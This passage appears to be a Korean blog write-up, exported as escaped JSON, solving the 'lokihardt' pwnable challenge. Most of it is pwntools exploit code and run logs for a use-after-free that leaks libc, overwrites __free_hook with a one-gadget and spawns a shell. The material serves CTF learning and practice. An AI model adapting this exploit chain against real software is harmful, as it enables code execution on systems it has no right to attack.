8\ubc14\uc774\ud2b8 \uc815\ub82c\ub418\uc788\uc73c\uba70 <code>read<\/code> \ubb38\uc790\uc5f4 \uc8fc\uc18c\ub85c \ub3c4\ubc30\ub428<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-preformatted\"> <code>   try:\n        use(1)\n        leak = r(10)\n        if not b\"your data?\" in leak:\n            warn(\"attempt %d: bad alignment, retrying...\" % attempt)\n            continue\n    except EOFError:\n        warn(\"attempt %d: bad alignment, retrying...\" % attempt)\n        p.close()\n        continue\n\n    off_OBJ_type = 0x110\n    pay = p64(e.sym.g_buf + 8 - off_OBJ_type)\n    pay += p64(e.sym.ArrayBuffer)\n    pay += p64(read_ro_addr) * int((1024-len(pay))\/8)\n    s(pay)    # will be written at ArrayBuffer_addr+16\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc774\uc81c <code>use(2)<\/code> \ub97c \uc218\ud589\ud588\uc744 \ub54c, got \uc601\uc5ed\uc5d0 \uc788\ub294 \uc5ec\ub7ec \uc8fc\uc18c \uac12\ub4e4\uc744 \uc720\ucd9c\uc2dc\ud0ac \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"> <code>   use(2)\n    leak = rl()\n    info(\"leak: {}\".format(leak))\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc720\ucd9c\uc774 \uac00\ub2a5\ud588\ub358 \uc774\uc720\ub294<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>ArrayBuffer[2]<\/code> \uc8fc\uc18c\uc5d0\ub294 <code>_ITM_deregisterTMCloneTable_ptr@got<\/code>\uc744 \uac00\ub9ac\ud0a4\uace0 \uc788\uace0,<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>OBJ<\/code> \uad6c\uc870\uccb4\uc5d0\uc11c <code>type<\/code>\uae4c\uc9c0\uc758 \uc624\ud504\uc14b \uac70\ub9ac\ub294 <code>0x110<\/code>\uc774\ubbc0\ub85c, <code>g_buf<\/code>\uc5d0 \uc788\ub358 read \ubb38\uc790\uc5f4 \uc8fc\uc18c\ub97c \uac00\ub9ac\ud0a4\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"518\" height=\"1024\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-24-11.24.25.excalidraw-518x1024.png\" alt=\"\" class=\"wp-image-4177\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-24-11.24.25.excalidraw-518x1024.png 518w, https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-24-11.24.25.excalidraw-152x300.png 152w, https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-24-11.24.25.excalidraw-768x1519.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-24-11.24.25.excalidraw-776x1536.png 776w, https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-24-11.24.25.excalidraw-1035x2048.png 1035w, https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-24-11.24.25.excalidraw-scaled.png 1294w\" sizes=\"auto, (max-width: 518px) 100vw, 518px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\uc804\uccb4 \ucf54\ub4dc\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>...\n    # ------------------------------------------------\n    ArrayBuffer_addr = e.sym.ArrayBuffer\n    info(\"ArrayBuffer@bss: {}\".format(hex(ArrayBuffer_addr)))\n    write_ro_addr = next(e.search(b\"write\"))\n    info(\"write@ro: {}\".format(hex(write_ro_addr)))\n    read_ro_addr = next(e.search(b\"read\"))\n    info(\"read@ro: {}\".format(hex(read_ro_addr)))\n    # ------------------------------------------------\n\n    alloc(1, b\"C\"*256, b\"D\"*16)\n    delete(2)\n    gc()\n\n    pay = b\"\"\n    pay += p64(ArrayBuffer_addr+16)                    # control wdata (where)\n    pay += p64(1024)                    # control length\n    pay += p64(write_ro_addr)     # control type (what)\n    pay = pay*int(256\/len(pay)) + pay&#91;:(256%len(pay))]\n    for i in range(4):\n        alloc_obj(pay, p64(read_ro_addr)*2)  # write read string ptr to g_buf\n\n    try:\n        use(1)\n        leak = r(10)\n        if not b\"your data?\" in leak:\n            warn(\"attempt %d: bad alignment, retrying...\" % attempt)\n            continue\n    except EOFError:\n        warn(\"attempt %d: bad alignment, retrying...\" % attempt)\n        p.close()\n        continue\n\n    off_OBJ_type = 0x110\n    pay = p64(e.sym.g_buf + 8 - off_OBJ_type)\n    pay += p64(e.sym.ArrayBuffer)\n    pay += p64(read_ro_addr) * int((1024-len(pay))\/8)\n    s(pay)    # will be written at ArrayBuffer_addr+16\n\n    use(2)\n    leak = rl()\n    info(\"leak: {}\".format(leak))\n\n    i = leak.index(b\"\\x7f\\x00\\x00\")\n    libc_stdout_addr = uu64(leak&#91;i-5:i+1])\n    info(\"leaked libc stdout addr: {}\".format(hex(libc_stdout_addr)))\n\n    l.address = libc_stdout_addr - l.sym.stdout\n    info(\"obtained libc base address: {}\".format(hex(l.address)))\n    break\n    \npi()\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\uc2e4\ud589 \uacb0\uacfc:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;!] attempt 83: bad alignment, retrying...\n&#91;*] Stopped process '.\/lokihardt.orig' (pid 48372)\n&#91;+] Starting local process '.\/lokihardt.orig': pid 48374\n&#91;*] leak: b'XB\\xd8\\xf3!V\\x00\\x00!\\x01\\x00\\x00\\x00\\x00\\x00\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00- menu -\\n'\n&#91;*] leaked null address: 0x5621f3d84258\n&#91;*] obtained lokihardt base address: 0x5621f3d83000\n&#91;*] ArrayBuffer@bss: 0x5621f3f85080\n&#91;*] write@ro: 0x5621f3d8361c\n&#91;*] read@ro: 0x5621f3d83623\n&#91;*] leak: b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\xe7u\\x18H\\x7f\\x00\\x00\\xa0\\x86@\\x18H\\x7f\\x00\\x00\\xb0q@\\x18H\\x7f\\x00\\x00\\x10\\xe7u\\x18H\\x7f\\x00\\x00\\xf0!K\\x18H\\x7f\\x00\\x00\\x10\\xe8&gt;\\x18H\\x7f\\x00\\x00p\\xbaP\\x18H\\x7f\\x00\\x00\\x80RF\\x18H\\x7f\\x00\\x00P\\x03I\\x18H\\x7f\\x00\\x00P\\x97;\\x18H\\x7f\\x00\\x00\\xe08=\\x18H\\x7f\\x00\\x00\\xf0\\x85C\\x18H\\x7f\\x00\\x00p\\xf1@\\x18H\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\xd1A\\x18H\\x7f\\x00\\x00\\x80\\x8e@\\x18H\\x7f\\x00\\x000\\x01I\\x18H\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe0D@\\x18H\\x7f\\x00\\x00@0=\\x18H\\x7f\\x00\\x00\\xf0v@\\x18H\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe02=\\x18H\\x7f\\x00\\x00p?=\\x18H\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08P\\xf8\\xf3!V\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00- menu -\\n'\n&#91;*] leaked libc stdout addr: 0x7f481875e708\n&#91;*] obtained libc base address: 0x7f4818399000\n&#91;*] Switching to interactive mode\n- 1. : Alloc\n- 2. : Delete\n- 3. : Use\n- 4. : GarbageCollect\n- 5. : HeapSpray\n<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">__free_hook@bss \uc8fc\uc18c\uc5d0 \uc6d0\uac00\uc82f \uc8fc\uc18c \ub36e\uae30 (Arbitrary Address Write)<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\"><code>use(1)<\/code> \uc744 \uc218\ud589\ud558\uc5ec, <code>ArrayBuffer[2]<\/code> \uc8fc\uc18c\ubd80\ud130 1024\ubc14\uc774\ud2b8\ub9cc\ud07c \ud55c\ubc88 \ub354 \uc81c\uc5b4\ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uac01\uac01 <code>ArrayBuffer[2]<\/code>, <code>ArrayBuffer[3]<\/code>\uc740 <code>ArrayBuffer[4]@bss<\/code> \uc8fc\uc18c \uacf5\uac04\uc744 \uac00\ub9ac\ud0a4\uac8c \ub9cc\ub4e0\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>ArrayBuffer[4]@bss<\/code> \uc8fc\uc18c \uacf5\uac04\uc5d0\ub294 fake OBJ \uad6c\uc870\uccb4 \ub370\uc774\ud130\ub97c \ub9cc\ub4e4\uba70 \ub2e4\uc74c\uacfc \uac19\uc774 \uad6c\uc131\ud55c\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>OBJ->rdata = \u2018<code>A<\/code>\u2019 \ubb38\uc790\ub85c <code>0x100<\/code>\ud06c\uae30\ub9cc\ud07c \ucc44\uc6c0<\/li>\n\n\n\n<li>OBJ->wdata = <code>__free_hook@bss<\/code> \uc8fc\uc18c (\uc4f0\uc5ec\uc9c8 \ub300\uc0c1 \uc8fc\uc18c)<\/li>\n\n\n\n<li>OBJ->length = 8 (\uc4f8 \uac12 \ud06c\uae30)<\/li>\n\n\n\n<li>OBJ->type = \u201c<code>write<\/code>\u201d \ubb38\uc790\uc5f4 \uc8fc\uc18c<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-preformatted\"> <code>   use(1)\n    pay = p64(ArrayBuffer_addr+32)*2\n    pay += b\"A\"*256  # char rdata[256];  \/\/ offsetof(OBJ, rdata) = 0x0\n    pay += p64(l.sym.__free_hook)  # char* wdata;      \/\/ offsetof(OBJ, wdata) = 0x100\n    pay += p64(8)   # LONG length;      \/\/ offsetof(OBJ, length) = 0x108\n    pay += p64(write_ro_addr)   # char* type;       \/\/ offsetof(OBJ, type) = 0x110\n    pay = pay + p64(0x8383838383838383)*int((1024-len(pay))\/8)\n    sa(b\"your data?\", pay)\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc774\uc81c <code>use(3)<\/code> \ub97c \uc218\ud589\ud558\uba74, \ub9cc\ub4e4\uc5b4\uc9c4 fake OBJ \uad6c\uc870\uccb4\uc5d0 \uc758\ud574<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>__free_hook@bss<\/code> \uc8fc\uc18c\uc5d0 \uc6d0\uac00\uc82f \uc8fc\uc18c\uac00 \ub36e\ud78c\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"> <code>   use(3)\n    one_gadget_addr = l.address + 0x4527a\n    sa(b\"your data?\", p64(one_gadget_addr))\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><code>gc()<\/code>\ub97c \uc218\ud589\ud558\ub824\uba74 <code>theOBJ<\/code>\uac00 <code>NULL<\/code>\uc774 \uc544\ub2c8\uc5b4\uc57c \ub418\ubbc0\ub85c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc544\ub798\uc758 \ucf54\ub4dc\uac00 \ud544\uc694\ud558\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"> <code>   # Make not NULL to theOBJ\n    alloc(9, b\"A\"*256, b\"B\"*16)\n    delete(10)\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc774\ud6c4 <code>gc()<\/code>\uc5d0\uc11c, <code>free()<\/code>\uac00 \uc218\ud589\ub418\uba74\uc11c \uc258\uc744 \ud68d\ub4dd\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"> <code>   gc()\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\uc804\uccb4 \ucf54\ub4dc:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>...\n    use(1)\n    pay = p64(ArrayBuffer_addr+32)*2\n    pay += b\"A\"*256  # char rdata&#91;256];  \/\/ offsetof(OBJ, rdata) = 0x0\n    pay += p64(l.sym.__free_hook)  # char* wdata;      \/\/ offsetof(OBJ, wdata) = 0x100\n    pay += p64(8)   # LONG length;      \/\/ offsetof(OBJ, length) = 0x108\n    pay += p64(write_ro_addr)   # char* type;       \/\/ offsetof(OBJ, type) = 0x110\n    pay = pay + p64(0x8383838383838383)*int((1024-len(pay))\/8)\n    sa(b\"your data?\", pay)\n\n    use(3)\n    one_gadget_addr = l.address + 0x4527a\n    sa(b\"your data?\", p64(one_gadget_addr))\n\n    # Make not NULL to theOBJ\n    alloc(9, b\"A\"*256, b\"B\"*16)\n    delete(10)\n\n    gc()\n\n    break\n\npi()\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\uc2e4\ud589 \uacb0\uacfc:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;!] attempt 180: bad alignment, retrying...\n&#91;*] Stopped process '.\/lokihardt.orig' (pid 49211)\n&#91;+] Starting local process '.\/lokihardt.orig': pid 49213\n&#91;!] attempt 181: bad alignment, retrying...\n&#91;*] Stopped process '.\/lokihardt.orig' (pid 49213)\n&#91;+] Starting local process '.\/lokihardt.orig': pid 49215\n&#91;*] leak: b'X\"_A\\x82U\\x00\\x00!\\x01\\x00\\x00\\x00\\x00\\x00\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00- menu -\\n'\n&#91;*] leaked null address: 0x5582415f2258\n&#91;*] obtained lokihardt base address: 0x5582415f1000\n&#91;*] ArrayBuffer@bss: 0x5582417f3080\n&#91;*] write@ro: 0x5582415f161c\n&#91;*] read@ro: 0x5582415f1623\n&#91;*] leak: b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08W\\x01\\xb6\\x93\\x7f\\x00\\x00\\xa0\\xf6\\xcb\\xb5\\x93\\x7f\\x00\\x00\\xb0\\xe1\\xcb\\xb5\\x93\\x7f\\x00\\x00\\x10W\\x01\\xb6\\x93\\x7f\\x00\\x00\\xf0\\x91\\xd6\\xb5\\x93\\x7f\\x00\\x00\\x10X\\xca\\xb5\\x93\\x7f\\x00\\x00p*\\xdc\\xb5\\x93\\x7f\\x00\\x00\\x80\\xc2\\xd1\\xb5\\x93\\x7f\\x00\\x00Ps\\xd4\\xb5\\x93\\x7f\\x00\\x00P\\x07\\xc7\\xb5\\x93\\x7f\\x00\\x00\\xe0\\xa8\\xc8\\xb5\\x93\\x7f\\x00\\x00\\xf0\\xf5\\xce\\xb5\\x93\\x7f\\x00\\x00pa\\xcc\\xb5\\x93\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80A\\xcd\\xb5\\x93\\x7f\\x00\\x00\\x80\\xfe\\xcb\\xb5\\x93\\x7f\\x00\\x000q\\xd4\\xb5\\x93\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe0\\xb4\\xcb\\xb5\\x93\\x7f\\x00\\x00@\\xa0\\xc8\\xb5\\x93\\x7f\\x00\\x00\\xf0\\xe6\\xcb\\xb5\\x93\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe0\\xa2\\xc8\\xb5\\x93\\x7f\\x00\\x00p\\xaf\\xc8\\xb5\\x93\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x080\\x7fA\\x82U\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00- menu -\\n'\n&#91;*] leaked libc stdout addr: 0x7f93b6015708\n&#91;*] obtained libc base address: 0x7f93b5c50000\n&#91;*] Switching to interactive mode\n$ id\nuid=1000(seo) gid=1000(seo) groups=1000(seo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare)\n$ uname -a\nLinux ubuntu 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU\/Linux\n<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">\uc804\uccb4 \ucf54\ub4dc \ubc0f \uc2e4\ud589 \uacb0\uacfc<\/h1>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\uc804\uccb4 \ucf54\ub4dc<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/env python3\n\nfrom pwn import *\n# context.log_level = 'debug'\ncontext(arch='amd64', os='linux')\nwarnings.filterwarnings('ignore')\nimport sys\n\n# p = process(\".\/lokihardt\") # local\n# p = process(\".\/lokihardt\", env={\"LD_PRELOAD\": \".\/libc.so.6_patched\"})\n\ne = ELF('.\/lokihardt.orig',checksec=False)\nl = ELF('\/lib\/x86_64-linux-gnu\/libc.so.6', checksec=False) # local\n\ns = lambda str: p.send(str)\nsl = lambda str: p.sendline(str)\nsa = lambda delims, str: p.sendafter(delims, str)\nsla = lambda delims, str: p.sendlineafter(delims, str)\nr = lambda numb=4096: p.recv(numb)\nrl = lambda: p.recvline()\nru = lambda delims: p.recvuntil(delims)\nuu32 = lambda data: u32(data.ljust(4, b\"\\x00\"))\nuu64 = lambda data: u64(data.ljust(8, b\"\\x00\"))\nli = lambda str, data: log.success(str + \"========&gt;\" + hex(data))\nip = lambda: input()\npi = lambda: p.interactive()\n\ndef alloc(idx, rdata, wdata):\n    sla(\"&gt; \", \"1\")\n    sla(\"idx? \", str(idx))\n\n    if rdata or wdata:\n        s(rdata)\n        s(wdata)\n\ndef delete(idx):\n    sla(\"&gt; \", \"2\")\n    sla(\"idx? \", str(idx))\n\ndef use(idx):\n    sla(\"&gt; \", \"3\")\n    sla(\"idx? \", str(idx))\n\ndef gc():\n    sla(\"&gt; \", \"4\")\n\ndef alloc_obj(rdata, wdata):\n    sla(\"&gt; \", \"5\")\n    s(rdata)\n    s(wdata)\n\nfor attempt in range(0x4141):\n    p = process(\".\/lokihardt.orig\") # local\n    e.address = 0\n\n    alloc(0, b\"A\"*256, b\"B\"*16)\n    delete(1)\n    gc()\n\n    # rlen can be 0~1024 by code `rlen = abs((rand()*1337) % 1024);``\n    # OBJ structure size is 280 bytes\n    # So we should spray at least four times\n    for i in range(4):\n        alloc_obj(b\"read\\x00\"*int(256\/5) + b\"\\x00\", b\"read\\x00\"*int(16\/5) + b\"\\x00\")\n\n    try:\n        use(0)\n        leak = rl()\n        if len(leak) &lt; 256:\n            raise EOFError\n    except EOFError:\n        warn(\"attempt %d: bad alignment, retrying...\" % attempt)\n        p.close()\n        continue\n\n    info(\"leak: {}\".format(leak))\n    null_rodata_address = uu64(leak&#91;:8])\n    info(\"leaked null address: {}\".format(hex(null_rodata_address)))\n\n    e.address = null_rodata_address - next(e.search(b\"null\"))\n    info(\"obtained lokihardt base address: {}\".format(hex(e.address)))\n\n    # ------------------------------------------------\n    ArrayBuffer_addr = e.sym.ArrayBuffer\n    info(\"ArrayBuffer@bss: {}\".format(hex(ArrayBuffer_addr)))\n    write_ro_addr = next(e.search(b\"write\"))\n    info(\"write@ro: {}\".format(hex(write_ro_addr)))\n    read_ro_addr = next(e.search(b\"read\"))\n    info(\"read@ro: {}\".format(hex(read_ro_addr)))\n    # ------------------------------------------------\n\n    alloc(1, b\"C\"*256, b\"D\"*16)\n    delete(2)\n    gc()\n\n    pay = b\"\"\n    pay += p64(ArrayBuffer_addr+16)                    # control wdata (where)\n    pay += p64(1024)                    # control length\n    pay += p64(write_ro_addr)     # control type (what)\n    pay = pay*int(256\/len(pay)) + pay&#91;:(256%len(pay))]\n    for i in range(4):\n        alloc_obj(pay, p64(read_ro_addr)*2)  # write read string ptr to g_buf\n\n    try:\n        use(1)\n        leak = r(10)\n        if not b\"your data?\" in leak:\n            warn(\"attempt %d: bad alignment, retrying...\" % attempt)\n            continue\n    except EOFError:\n        warn(\"attempt %d: bad alignment, retrying...\" % attempt)\n        p.close()\n        continue\n\n    off_OBJ_type = 0x110\n    pay = p64(e.sym.g_buf + 8 - off_OBJ_type)\n    pay += p64(e.sym.ArrayBuffer)\n    pay += p64(read_ro_addr) * int((1024-len(pay))\/8)\n    s(pay)    # will be written at ArrayBuffer_addr+16\n\n    use(2)\n    leak = rl()\n    info(\"leak: {}\".format(leak))\n\n    i = leak.index(b\"\\x7f\\x00\\x00\")\n    libc_stdout_addr = uu64(leak&#91;i-5:i+1])\n    info(\"leaked libc stdout addr: {}\".format(hex(libc_stdout_addr)))\n\n    l.address = libc_stdout_addr - l.sym.stdout\n    info(\"obtained libc base address: {}\".format(hex(l.address)))\n\n    use(1)\n    pay = p64(ArrayBuffer_addr+32)*2\n    pay += b\"A\"*256  # char rdata&#91;256];  \/\/ offsetof(OBJ, rdata) = 0x0\n    pay += p64(l.sym.__free_hook)  # char* wdata;      \/\/ offsetof(OBJ, wdata) = 0x100\n    pay += p64(8)   # LONG length;      \/\/ offsetof(OBJ, length) = 0x108\n    pay += p64(write_ro_addr)   # char* type;       \/\/ offsetof(OBJ, type) = 0x110\n    pay = pay + p64(0x8383838383838383)*int((1024-len(pay))\/8)\n    sa(b\"your data?\", pay)\n\n    use(3)\n    one_gadget_addr = l.address + 0x4527a\n    sa(b\"your data?\", p64(one_gadget_addr))\n\n    # Make not NULL to theOBJ\n    alloc(9, b\"A\"*256, b\"B\"*16)\n    delete(10)\n\n    gc()\n\n    break\n\npi()\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\uc2e4\ud589 \uacb0\uacfc<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;!] attempt 46: bad alignment, retrying...\n&#91;*] Stopped process '.\/lokihardt.orig' (pid 49316)\n&#91;+] Starting local process '.\/lokihardt.orig': pid 49318\n&#91;!] attempt 47: bad alignment, retrying...\n&#91;*] Stopped process '.\/lokihardt.orig' (pid 49318)\n&#91;+] Starting local process '.\/lokihardt.orig': pid 49320\n&#91;!] attempt 48: bad alignment, retrying...\n&#91;*] Stopped process '.\/lokihardt.orig' (pid 49320)\n&#91;+] Starting local process '.\/lokihardt.orig': pid 49322\n&#91;*] Process '.\/lokihardt.orig' stopped with exit code -11 (SIGSEGV) (pid 49322)\n&#91;!] attempt 49: bad alignment, retrying...\n&#91;+] Starting local process '.\/lokihardt.orig': pid 49324\n&#91;!] attempt 50: bad alignment, retrying...\n&#91;*] Stopped process '.\/lokihardt.orig' (pid 49324)\n&#91;+] Starting local process '.\/lokihardt.orig': pid 49326\n&#91;*] leak: b'X\\xe2\\x84\\xf0cU\\x00\\x00!\\x01\\x00\\x00\\x00\\x00\\x00\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00- menu -\\n'\n&#91;*] leaked null address: 0x5563f084e258\n&#91;*] obtained lokihardt base address: 0x5563f084d000\n&#91;*] ArrayBuffer@bss: 0x5563f0a4f080\n&#91;*] write@ro: 0x5563f084d61c\n&#91;*] read@ro: 0x5563f084d623\n&#91;!] attempt 51: bad alignment, retrying...\n&#91;*] Stopped process '.\/lokihardt.orig' (pid 49326)\n&#91;+] Starting local process '.\/lokihardt.orig': pid 49328\n&#91;*] leak: b'XR\\xc6\\x9f\\xb0U\\x00\\x00!\\x01\\x00\\x00\\x00\\x00\\x00\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00- menu -\\n'\n&#91;*] leaked null address: 0x55b09fc65258\n&#91;*] obtained lokihardt base address: 0x55b09fc64000\n&#91;*] ArrayBuffer@bss: 0x55b09fe66080\n&#91;*] write@ro: 0x55b09fc6461c\n&#91;*] read@ro: 0x55b09fc64623\n&#91;*] leak: b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\xf7\\xdd\\xf8\\xd1\\x7f\\x00\\x00\\xa0\\x96\\xa8\\xf8\\xd1\\x7f\\x00\\x00\\xb0\\x81\\xa8\\xf8\\xd1\\x7f\\x00\\x00\\x10\\xf7\\xdd\\xf8\\xd1\\x7f\\x00\\x00\\xf01\\xb3\\xf8\\xd1\\x7f\\x00\\x00\\x10\\xf8\\xa6\\xf8\\xd1\\x7f\\x00\\x00p\\xca\\xb8\\xf8\\xd1\\x7f\\x00\\x00\\x80b\\xae\\xf8\\xd1\\x7f\\x00\\x00P\\x13\\xb1\\xf8\\xd1\\x7f\\x00\\x00P\\xa7\\xa3\\xf8\\xd1\\x7f\\x00\\x00\\xe0H\\xa5\\xf8\\xd1\\x7f\\x00\\x00\\xf0\\x95\\xab\\xf8\\xd1\\x7f\\x00\\x00p\\x01\\xa9\\xf8\\xd1\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\xe1\\xa9\\xf8\\xd1\\x7f\\x00\\x00\\x80\\x9e\\xa8\\xf8\\xd1\\x7f\\x00\\x000\\x11\\xb1\\xf8\\xd1\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe0T\\xa8\\xf8\\xd1\\x7f\\x00\\x00@@\\xa5\\xf8\\xd1\\x7f\\x00\\x00\\xf0\\x86\\xa8\\xf8\\xd1\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe0B\\xa5\\xf8\\xd1\\x7f\\x00\\x00pO\\xa5\\xf8\\xd1\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08`\\xe6\\x9f\\xb0U\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00- menu -\\n'\n&#91;*] leaked libc stdout addr: 0x7fd1f8ddf708\n&#91;*] obtained libc base address: 0x7fd1f8a1a000\n&#91;*] Switching to interactive mode\n$ uname -a\nLinux ubuntu 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU\/Linux\n$ id\nuid=1000(seo) gid=1000(seo) groups=1000(seo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare)\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Environment Ubuntu 16.04.7 LTS \ubb38\uc81c \uc18c\uc2a4\ucf54\ub4dc \ubc0f \uc2e4\ud589 \ud30c\uc77c https:\/\/github.com\/giladreti\/pwnable\/tree\/master\/lokihardt checksec \uc2dc\ud589\ucc29\uc624 alloc \ub531 \ud55c\ubc88 \ud588\uc744 \uc2dc \uba54\ubaa8\ub9ac \ud560\ub2f9 \ub0b4\uc6a9 refCount\ub97c 0\uc73c\ub85c \ub9cc\ub4e4\uace0 gc \ud2b8\ub9ac\uac70\ud558\uc5ec, dangling ptr \ub9cc\ub4e4\uae30 \ucf54\ub4dc\ub97c \ud655\uc778\ud574\ubcf4\uba74, ArrayBuffer[idx]\uc5d0 \ud560\ub2f9\ub41c 